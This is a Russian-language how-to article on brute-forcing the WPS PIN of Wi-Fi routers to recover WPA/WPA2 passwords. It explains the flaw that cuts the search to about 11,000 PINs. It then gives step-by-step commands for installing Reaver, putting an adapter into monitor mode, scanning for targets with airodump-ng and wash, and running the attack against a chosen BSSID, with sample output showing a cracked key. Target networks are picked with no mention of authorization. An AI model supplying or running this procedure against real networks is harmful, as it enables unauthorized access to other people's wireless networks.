В декабре 2011 Стефан Фибёк (англ. Stefan Viehböck) и Крейг Хеффнер (англ. Craig Heffner) рассказали о серьёзных прорехах в протоколе WPS. Оказалось, что если в точке доступа активирован WPS c PIN (который по умолчанию включен в большинстве роутеров), то подобрать PIN-код для подключения можно за считанные часы.
PIN-код состоит из восьми цифр — следовательно, существует 108 (100 000 000) вариантов PIN-кода для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой некую контрольную сумму, которая высчитывается на основании семи первых цифр. Таким образом количество вариантов уже сокращается до 107 (10 000 000). Кроме того, уязвимость протокола позволяет разделить пин-код на две части, 4 и 3 цифры и проверять каждую на корректность отдельно. Следовательно, получается 104 (10 000) вариантов для первой половины и 103 (1000) для второй. В итоге это составляет всего лишь 11 000 вариантов для полного перебора, что в ~9100 раз меньше 108.
От слов к делу:
Устанавливаем Reaver
apt-get update apt-get install reaver svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps cd ./reaver-wps/src/ ./configure make make install
Для использования Reaver необходимо проделать следующие вещи:
перевести беспроводной адаптер в режим мониторинга;
узнать имя беспроводного интерфейса;
узнать MAC-адрес точки доступа (BSSID);
убедиться, что на точке активирован WPS.
Для начала проверим, что беспроводной интерфейс вообще присутствует в системе:
iwconfig
Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:
airmon-ng start wlan0
Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:
airodump-ng mon0
На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:
./wash -i mon0
В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию ‘-f‘ и скормить утилите .cap файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.
Запускаем брутфорс
Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:
reaver -i mon0 -b 00:21:29:74:67:50 -vv
Ключ «-vv» включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.
Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978
Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов. Как только он будет подобран, программа радостно об этом сообщит:
[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: ‘64637129’
[+] WPA PSK: ‘MyH0rseThink$YouStol3HisCarrot!’
[+] AP SSID: ‘linksys’
Самое ценное здесь — это, конечно же, ключ WPA-PSK, который сразу же можно использовать для подключения. Все так просто, что даже не укладывается в голове.